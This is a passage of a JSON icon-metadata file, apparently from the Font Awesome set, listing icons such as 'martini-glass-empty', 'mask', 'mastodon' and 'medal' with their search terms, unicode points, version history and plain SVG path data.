        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M432 240c53 0 96-43 96-96s-43-96-96-96c-35.5 0-66.6 19.3-83.2 48H296.2C316 40.1 369.3 0 432 0c79.5 0 144 64.5 144 144s-64.5 144-144 144c-27.7 0-53.5-7.8-75.5-21.3l35.4-35.4c12.2 5.6 25.8 8.7 40.1 8.7zM1.8 142.8C5.5 133.8 14.3 128 24 128H392c9.7 0 18.5 5.8 22.2 14.8s1.7 19.3-5.2 26.2l-177 177V464h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H208 120c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V345.9L7 169c-6.9-6.9-8.9-17.2-5.2-26.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M432 240c53 0 96-43 96-96s-43-96-96-96c-35.5 0-66.6 19.3-83.2 48H296.2C316 40.1 369.3 0 432 0c79.5 0 144 64.5 144 144s-64.5 144-144 144c-27.7 0-53.5-7.8-75.5-21.3l35.4-35.4c12.2 5.6 25.8 8.7 40.1 8.7zM1.8 142.8C5.5 133.8 14.3 128 24 128H392c9.7 0 18.5 5.8 22.2 14.8s1.7 19.3-5.2 26.2l-177 177V464h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H208 120c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V345.9L7 169c-6.9-6.9-8.9-17.2-5.2-26.2z"
      }
    },
    "free": ["solid"]
  },
  "martini-glass-empty": {
    "aliases": {
      "names": ["glass-martini"],
      "unicodes": {
        "secondary": ["10f000"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.1.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alcohol", "bar", "beverage", "drink", "liquor"]
    },
    "styles": ["solid"],
    "unicode": "f000",
    "label": "Martini Glass Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 0C19.1 0 7.4 7.8 2.4 19.8s-2.2 25.7 6.9 34.9L224 269.3V448H160c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H288V269.3L502.6 54.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 0 480 0H32zM256 210.7L109.3 64H402.7L256 210.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 0C19.1 0 7.4 7.8 2.4 19.8s-2.2 25.7 6.9 34.9L224 269.3V448H160c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H288V269.3L502.6 54.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 0 480 0H32zM256 210.7L109.3 64H402.7L256 210.7z"
      }
    },
    "free": ["solid"]
  },
  "mask": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6fa"]
      }
    },
    "changes": ["5.4.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "carnivale",
        "costume",
        "disguise",
        "halloween",
        "secret",
        "super hero"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6fa",
    "label": "Mask",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 64C64 64 0 160 0 272S80 448 176 448h8.4c24.2 0 46.4-13.7 57.2-35.4l23.2-46.3c4.4-8.8 13.3-14.3 23.2-14.3s18.8 5.5 23.2 14.3l23.2 46.3c10.8 21.7 33 35.4 57.2 35.4H400c96 0 176-64 176-176s-64-208-288-208zM96 256a64 64 0 1 1 128 0A64 64 0 1 1 96 256zm320-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 64C64 64 0 160 0 272S80 448 176 448h8.4c24.2 0 46.4-13.7 57.2-35.4l23.2-46.3c4.4-8.8 13.3-14.3 23.2-14.3s18.8 5.5 23.2 14.3l23.2 46.3c10.8 21.7 33 35.4 57.2 35.4H400c96 0 176-64 176-176s-64-208-288-208zM96 256a64 64 0 1 1 128 0A64 64 0 1 1 96 256zm320-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["solid"]
  },
  "mask-face": {
    "changes": ["6.0.0-beta1", "6.0.0", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "breath",
        "coronavirus",
        "covid-19",
        "filter",
        "flu",
        "infection",
        "pandemic",
        "respirator",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e1d7",
    "label": "Mask Face",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 64c-27.2 0-53.8 8-76.4 23.1l-37.1 24.8c-15.8 10.5-34.3 16.1-53.3 16.1H144 128 56c-30.9 0-56 25.1-56 56v85c0 55.1 37.5 103.1 90.9 116.4l108 27C233.8 435 275.4 448 320 448s86.2-13 121.1-35.5l108-27C602.5 372.1 640 324.1 640 269V184c0-30.9-25.1-56-56-56H512 496h-9.2c-19 0-37.5-5.6-53.3-16.1L396.4 87.1C373.8 72 347.2 64 320 64zM132.3 346.3l-29.8-7.4C70.5 330.9 48 302.1 48 269V184c0-4.4 3.6-8 8-8H96v48c0 45.1 13.4 87.2 36.3 122.3zm405.1-7.4l-29.8 7.4c23-35.2 36.3-77.2 36.3-122.3V176h40c4.4 0 8 3.6 8 8v85c0 33-22.5 61.8-54.5 69.9zM192 208c0-8.8 7.2-16 16-16H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H208c-8.8 0-16-7.2-16-16zm16 48H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H208c-8.8 0-16-7.2-16-16s7.2-16 16-16zm16 80c0-8.8 7.2-16 16-16H400c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 64c-27.2 0-53.8 8-76.4 23.1l-37.1 24.8c-15.8 10.5-34.3 16.1-53.3 16.1H144 128 56c-30.9 0-56 25.1-56 56v85c0 55.1 37.5 103.1 90.9 116.4l108 27C233.8 435 275.4 448 320 448s86.2-13 121.1-35.5l108-27C602.5 372.1 640 324.1 640 269V184c0-30.9-25.1-56-56-56H512 496h-9.2c-19 0-37.5-5.6-53.3-16.1L396.4 87.1C373.8 72 347.2 64 320 64zM132.3 346.3l-29.8-7.4C70.5 330.9 48 302.1 48 269V184c0-4.4 3.6-8 8-8H96v48c0 45.1 13.4 87.2 36.3 122.3zm405.1-7.4l-29.8 7.4c23-35.2 36.3-77.2 36.3-122.3V176h40c4.4 0 8 3.6 8 8v85c0 33-22.5 61.8-54.5 69.9zM192 208c0-8.8 7.2-16 16-16H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H208c-8.8 0-16-7.2-16-16zm16 48H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H208c-8.8 0-16-7.2-16-16s7.2-16 16-16zm16 80c0-8.8 7.2-16 16-16H400c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "mask-ventilator": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["breath", "gas", "mask", "oxygen", "respirator", "ventilator"]
    },
    "styles": ["solid"],
    "unicode": "e524",
    "label": "Mask Ventilator",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M159.1 176C139.4 219.2 128 264.7 128 300.8c0 15.9 2.2 31.4 6.3 46l-31.8-7.9C70.5 330.9 48 302.1 48 269V184c0-4.4 3.6-8 8-8H159.1zm26-48H56c-30.9 0-56 25.1-56 56v85c0 55.1 37.5 103.1 90.9 116.4l71.3 17.8c22.7 30.5 55.4 54.1 93.8 66.6V393.3c-19.7-16.4-32-40.3-32-66.9c0-49.5 43-134.4 96-134.4c52.5 0 96 84.9 96 134.4c0 26.7-12.4 50.4-32 66.8v76.6c38-12.6 70.6-36 93.5-66.4l71.6-17.9C602.5 372.1 640 324.1 640 269V184c0-30.9-25.1-56-56-56H454.5C419.7 73.8 372.1 32 320 32c-52.6 0-100.2 41.8-134.9 96zm295.6 48H584c4.4 0 8 3.6 8 8v85c0 33-22.5 61.8-54.5 69.9l-31.8 8c4.2-14.7 6.4-30.1 6.4-46.1c0-36.1-11.6-81.6-31.3-124.8zM288 320V512h64V320c0-17.7-14.3-32-32-32s-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M159.1 176C139.4 219.2 128 264.7 128 300.8c0 15.9 2.2 31.4 6.3 46l-31.8-7.9C70.5 330.9 48 302.1 48 269V184c0-4.4 3.6-8 8-8H159.1zm26-48H56c-30.9 0-56 25.1-56 56v85c0 55.1 37.5 103.1 90.9 116.4l71.3 17.8c22.7 30.5 55.4 54.1 93.8 66.6V393.3c-19.7-16.4-32-40.3-32-66.9c0-49.5 43-134.4 96-134.4c52.5 0 96 84.9 96 134.4c0 26.7-12.4 50.4-32 66.8v76.6c38-12.6 70.6-36 93.5-66.4l71.6-17.9C602.5 372.1 640 324.1 640 269V184c0-30.9-25.1-56-56-56H454.5C419.7 73.8 372.1 32 320 32c-52.6 0-100.2 41.8-134.9 96zm295.6 48H584c4.4 0 8 3.6 8 8v85c0 33-22.5 61.8-54.5 69.9l-31.8 8c4.2-14.7 6.4-30.1 6.4-46.1c0-36.1-11.6-81.6-31.3-124.8zM288 320V512h64V320c0-17.7-14.3-32-32-32s-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "masks-theater": {
    "aliases": {
      "names": ["theater-masks"],
      "unicodes": {
        "composite": ["1f3ad"],
        "secondary": ["10f630"]
      }
    },
    "changes": ["5.2.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "art",
        "comedy",
        "mask",
        "perform",
        "performing",
        "performing arts",
        "theater",
        "theatre",
        "tragedy"
      ]
    },
    "styles": ["solid"],
    "unicode": "f630",
    "label": "Masks Theater",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M74.6 373.2c41.7 36.1 108 82.5 166.1 73.7c6.1-.9 12.1-2.5 18-4.5c-9.2-12.3-17.3-24.4-24.2-35.4c-21.9-35-28.8-75.2-25.9-113.6c-20.6 4.1-39.2 13-54.7 25.4c-6.5 5.2-16.3 1.3-14.8-7c6.4-33.5 33-60.9 68.2-66.3c2.6-.4 5.3-.7 7.9-.8l19.4-131.3c2-13.8 8-32.7 25-45.9C278.2 53.2 310.5 37 363.2 32.2c-.8-.7-1.6-1.4-2.4-2.1C340.6 14.5 288.4-11.5 175.7 5.6S20.5 63 5.7 83.9C0 91.9-.8 102 .6 111.8L24.8 276.1c5.5 37.3 21.5 72.6 49.8 97.2zm87.7-219.6c4.4-3.1 10.8-2 11.8 3.3c.1 .5 .2 1.1 .3 1.6c3.2 21.8-11.6 42-33.1 45.3s-41.5-11.8-44.7-33.5c-.1-.5-.1-1.1-.2-1.6c-.6-5.4 5.2-8.4 10.3-6.7c9 3 18.8 3.9 28.7 2.4s19.1-5.3 26.8-10.8zM261.6 390c29.4 46.9 79.5 110.9 137.6 119.7s124.5-37.5 166.1-73.7c28.3-24.5 44.3-59.8 49.8-97.2l24.2-164.3c1.4-9.8 .6-19.9-5.1-27.9c-14.8-20.9-57.3-61.2-170-78.3S299.4 77.2 279.2 92.8c-7.8 6-11.5 15.4-12.9 25.2L242.1 282.3c-5.5 37.3-.4 75.8 19.6 107.7zM404.5 235.3c-7.7-5.5-16.8-9.3-26.8-10.8s-19.8-.6-28.7 2.4c-5.1 1.7-10.9-1.3-10.3-6.7c.1-.5 .1-1.1 .2-1.6c3.2-21.8 23.2-36.8 44.7-33.5s36.3 23.5 33.1 45.3c-.1 .5-.2 1.1-.3 1.6c-1 5.3-7.4 6.4-11.8 3.3zm136.2 15.5c-1 5.3-7.4 6.4-11.8 3.3c-7.7-5.5-16.8-9.3-26.8-10.8s-19.8-.6-28.7 2.4c-5.1 1.7-10.9-1.3-10.3-6.7c.1-.5 .1-1.1 .2-1.6c3.2-21.8 23.2-36.8 44.7-33.5s36.3 23.5 33.1 45.3c-.1 .5-.2 1.1-.3 1.6zM530 350.2c-19.6 44.7-66.8 72.5-116.8 64.9s-87.1-48.2-93-96.7c-1-8.3 8.9-12.1 15.2-6.7c23.9 20.8 53.6 35.3 87 40.3s66.1 .1 94.9-12.8c7.6-3.4 16 3.2 12.6 10.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M74.6 373.2c41.7 36.1 108 82.5 166.1 73.7c6.1-.9 12.1-2.5 18-4.5c-9.2-12.3-17.3-24.4-24.2-35.4c-21.9-35-28.8-75.2-25.9-113.6c-20.6 4.1-39.2 13-54.7 25.4c-6.5 5.2-16.3 1.3-14.8-7c6.4-33.5 33-60.9 68.2-66.3c2.6-.4 5.3-.7 7.9-.8l19.4-131.3c2-13.8 8-32.7 25-45.9C278.2 53.2 310.5 37 363.2 32.2c-.8-.7-1.6-1.4-2.4-2.1C340.6 14.5 288.4-11.5 175.7 5.6S20.5 63 5.7 83.9C0 91.9-.8 102 .6 111.8L24.8 276.1c5.5 37.3 21.5 72.6 49.8 97.2zm87.7-219.6c4.4-3.1 10.8-2 11.8 3.3c.1 .5 .2 1.1 .3 1.6c3.2 21.8-11.6 42-33.1 45.3s-41.5-11.8-44.7-33.5c-.1-.5-.1-1.1-.2-1.6c-.6-5.4 5.2-8.4 10.3-6.7c9 3 18.8 3.9 28.7 2.4s19.1-5.3 26.8-10.8zM261.6 390c29.4 46.9 79.5 110.9 137.6 119.7s124.5-37.5 166.1-73.7c28.3-24.5 44.3-59.8 49.8-97.2l24.2-164.3c1.4-9.8 .6-19.9-5.1-27.9c-14.8-20.9-57.3-61.2-170-78.3S299.4 77.2 279.2 92.8c-7.8 6-11.5 15.4-12.9 25.2L242.1 282.3c-5.5 37.3-.4 75.8 19.6 107.7zM404.5 235.3c-7.7-5.5-16.8-9.3-26.8-10.8s-19.8-.6-28.7 2.4c-5.1 1.7-10.9-1.3-10.3-6.7c.1-.5 .1-1.1 .2-1.6c3.2-21.8 23.2-36.8 44.7-33.5s36.3 23.5 33.1 45.3c-.1 .5-.2 1.1-.3 1.6c-1 5.3-7.4 6.4-11.8 3.3zm136.2 15.5c-1 5.3-7.4 6.4-11.8 3.3c-7.7-5.5-16.8-9.3-26.8-10.8s-19.8-.6-28.7 2.4c-5.1 1.7-10.9-1.3-10.3-6.7c.1-.5 .1-1.1 .2-1.6c3.2-21.8 23.2-36.8 44.7-33.5s36.3 23.5 33.1 45.3c-.1 .5-.2 1.1-.3 1.6zM530 350.2c-19.6 44.7-66.8 72.5-116.8 64.9s-87.1-48.2-93-96.7c-1-8.3 8.9-12.1 15.2-6.7c23.9 20.8 53.6 35.3 87 40.3s66.1 .1 94.9-12.8c7.6-3.4 16 3.2 12.6 10.9z"
      }
    },
    "free": ["solid"]
  },
  "mastodon": {
    "changes": ["5.0.11", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f6",
    "label": "Mastodon",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"
      }
    },
    "free": ["brands"]
  },
  "mattress-pillow": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["air mattress", "mattress", "pillow", "rest", "sleep"]
    },
    "styles": ["solid"],
    "unicode": "e525",
    "label": "Mattress Pillow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H256V64zm32 384H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H288V448zM64 160c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H256V64zm32 384H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H288V448zM64 160c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160z"
      }
    },
    "free": ["solid"]
  },
  "maxcdn": {
    "changes": ["3.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f136",
    "label": "MaxCDN",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z"
      }
    },
    "free": ["brands"]
  },
  "maximize": {
    "aliases": {
      "names": ["expand-arrows-alt"],
      "unicodes": {
        "secondary": ["10f31e"]
      }
    },
    "changes": ["5.0.0", "5.8.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bigger", "enlarge", "fullscreen", "move", "resize"]
    },
    "styles": ["solid"],
    "unicode": "f31e",
    "label": "Maximize",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M200 32H56C42.7 32 32 42.7 32 56V200c0 9.7 5.8 18.5 14.8 22.2s19.3 1.7 26.2-5.2l40-40 79 79-79 79L73 295c-6.9-6.9-17.2-8.9-26.2-5.2S32 302.3 32 312V456c0 13.3 10.7 24 24 24H200c9.7 0 18.5-5.8 22.2-14.8s1.7-19.3-5.2-26.2l-40-40 79-79 79 79-40 40c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H456c13.3 0 24-10.7 24-24V312c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2l-40 40-79-79 79-79 40 40c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H312c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l40 40-79 79-79-79 40-40c6.9-6.9 8.9-17.2 5.2-26.2S209.7 32 200 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M200 32H56C42.7 32 32 42.7 32 56V200c0 9.7 5.8 18.5 14.8 22.2s19.3 1.7 26.2-5.2l40-40 79 79-79 79L73 295c-6.9-6.9-17.2-8.9-26.2-5.2S32 302.3 32 312V456c0 13.3 10.7 24 24 24H200c9.7 0 18.5-5.8 22.2-14.8s1.7-19.3-5.2-26.2l-40-40 79-79 79 79-40 40c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H456c13.3 0 24-10.7 24-24V312c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2l-40 40-79-79 79-79 40 40c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H312c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l40 40-79 79-79-79 40-40c6.9-6.9 8.9-17.2 5.2-26.2S209.7 32 200 32z"
      }
    },
    "free": ["solid"]
  },
  "mdb": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8ca",
    "label": "Material Design for Bootstrap",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z"
      }
    },
    "free": ["brands"]
  },
  "medal": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3c5"],
        "secondary": ["10f5a2"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["award", "medal", "ribbon", "sports medal", "star", "trophy"]
    },
    "styles": ["solid"],
    "unicode": "f5a2",
    "label": "Medal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M4.1 38.2C1.4 34.2 0 29.4 0 24.6C0 11 11 0 24.6 0H133.9c11.2 0 21.7 5.9 27.4 15.5l68.5 114.1c-48.2 6.1-91.3 28.6-123.4 61.9L4.1 38.2zm503.7 0L405.6 191.5c-32.1-33.3-75.2-55.8-123.4-61.9L350.7 15.5C356.5 5.9 366.9 0 378.1 0H487.4C501 0 512 11 512 24.6c0 4.8-1.4 9.6-4.1 13.6zM80 336a176 176 0 1 1 352 0A176 176 0 1 1 80 336zm184.4-94.9c-3.4-7-13.3-7-16.8 0l-22.4 45.4c-1.4 2.8-4 4.7-7 5.1L168 298.9c-7.7 1.1-10.7 10.5-5.2 16l36.3 35.4c2.2 2.2 3.2 5.2 2.7 8.3l-8.6 49.9c-1.3 7.6 6.7 13.5 13.6 9.9l44.8-23.6c2.7-1.4 6-1.4 8.7 0l44.8 23.6c6.9 3.6 14.9-2.2 13.6-9.9l-8.6-49.9c-.5-3 .5-6.1 2.7-8.3l36.3-35.4c5.6-5.4 2.5-14.8-5.2-16l-50.1-7.3c-3-.4-5.7-2.4-7-5.1l-22.4-45.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M4.1 38.2C1.4 34.2 0 29.4 0 24.6C0 11 11 0 24.6 0H133.9c11.2 0 21.7 5.9 27.4 15.5l68.5 114.1c-48.2 6.1-91.3 28.6-123.4 61.9L4.1 38.2zm503.7 0L405.6 191.5c-32.1-33.3-75.2-55.8-123.4-61.9L350.7 15.5C356.5 5.9 366.9 0 378.1 0H487.4C501 0 512 11 512 24.6c0 4.8-1.4 9.6-4.1 13.6zM80 336a176 176 0 1 1 352 0A176 176 0 1 1 80 336zm184.4-94.9c-3.4-7-13.3-7-16.8 0l-22.4 45.4c-1.4 2.8-4 4.7-7 5.1L168 298.9c-7.7 1.1-10.7 10.5-5.2 16l36.3 35.4c2.2 2.2 3.2 5.2 2.7 8.3l-8.6 49.9c-1.3 7.6 6.7 13.5 13.6 9.9l44.8-23.6c2.7-1.4 6-1.4 8.7 0l44.8 23.6c6.9 3.6 14.9-2.2 13.6-9.9l-8.6-49.9c-.5-3 .5-6.1 2.7-8.3l36.3-35.4c5.6-5.4 2.5-14.8-5.2-16l-50.1-7.3c-3-.4-5.7-2.4-7-5.1l-22.4-45.4z"
      }
    },
    "free": ["solid"]
  },
  "medapps": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c6",
    "label": "MedApps",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 